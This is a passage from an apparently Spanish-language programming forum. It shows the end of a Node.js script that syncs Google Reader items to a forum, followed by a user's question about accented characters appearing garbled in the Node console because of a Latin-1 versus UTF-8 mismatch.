return false;
});

}else{ /* 302 sin cookies? */
console.log(' - La clave de acceso al foro es incorrecta.');
return false;
}

}else{
console.log(' - La clave de acceso al foro es incorrecta.');
return false;
}

}).on('error', function(e){
console.log(' - Imposible conectar al servidor del foro.');
return false;
});
try{ post.write(post_data); }catch(e){}

}else{
console.log(' - No hay items para sincronizar :)');
return false;
}

});

}else{
console.log(' - Error en el servidor de Google Reader : ' + res3.statusCode);
return false;
}

}).on('error', function(e){
console.log(' - Imposible conectar al servidor de Google Reader.');
return false;
});

});

}else{
console.log(' - Error en el servidor de Google Reader : ' + res2.statusCode);
return false;
}

}).on('error', function(e){
console.log(' - Imposible conectar al servidor de Google Reader.');
return false;
});
});

}else{
console.log(' - Error en el servidor de cuentas de Google : ' + res.statusCode);
return false;
}

}
).on('error', function(e){
console.log(' - Imposible conectar al servidor de cuentas de Google.');
return false;
});


return true;


Si van a retocar el código por favor les pido que mantengan en la parte superior del código el nombre del autor, o sea yo.
#1930
Hola, estoy creando un script en nodejs y el problema es que cuando le escribo un mensaje con acento solo se ve el signo de interrogación, se que esto se debe a que el script está hecho en latin iso y la consola se está ejecutando en utf8, pero no se como solucionarlo, he intentado reemplazar la codificación de carácteres de salida codificando y decodificando en utf8 pero no me resulta.

console.log('áéíóú');

iMac:nodeJs WHK$ node control.js
�����


Al utilizar encodeURIComponent() me retorna el carácter en utf8 pero transcrito del latin iso:

iMac:nodeJs WHK$ node control.js
�����


Una solución que encontré es utilizar replace('á', '\xe1') y funciona super bién, pero tendría que reemplazar cientos de carácteres latinos, minusculas, mayusculas, eñes, signos de interrogación etc y lo mas probable es que se me queden algunas afuera, por eso estoy buscando la forma correcta de hacerlo sin reemplazar letra por letra.

En php envío una cabecera de content-type con la codificación de carácteres, en nodejs como se ejecuta en consola tendría que configurar la consola para que se ejecute en latin iso, pero en ves de esto puedo declarar algún tipo de cabecera o instrucción a la shell para que trabaje en modo latin iso solo mientras se ejecuta el script? o decirle que todo el buffer de salida será latin iso?

Mientras tanto he solucionado el problema codificando el archivo del script a utf8 pero quiero usar latin iso para mayor comodidad.

Gracias :)